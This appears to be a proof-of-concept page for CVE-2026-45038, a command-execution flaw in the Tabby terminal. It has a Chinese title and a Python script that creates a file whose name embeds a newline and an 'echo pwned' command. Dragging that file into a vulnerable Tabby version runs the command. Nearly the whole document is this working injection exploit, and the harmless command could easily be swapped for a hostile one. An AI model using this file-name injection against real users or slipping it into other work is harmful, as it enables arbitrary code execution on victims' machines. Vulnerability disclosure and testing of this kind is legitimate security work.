CVE-2026-45038 Tabby终端代码执行漏洞

# Proof of Concept for CVE-2026-45038 # This script creates a file with control characters in its name. # Dragging and dropping this file into a vulnerable Tabby version (< 1.0.233) # may lead to command execution. import os # Construct a malicious filename containing a newline and a command # The payload attempts to execute 'echo pwned' after the file path is inserted payload = "\necho pwned #" malicious_filename = "legit_file" + payload + ".txt" file_path = os.path.join(os.getcwd(), malicious_filename) try: with open(file_path, 'w') as f: f.write("This file contains a malicious name.") print(f"[+] Successfully created file: {malicious_filename}") print("[+] Instruction: Drag and drop this file into the Tabby terminal to test.") except Exception as e: print(f"[-] Error creating file: {e}")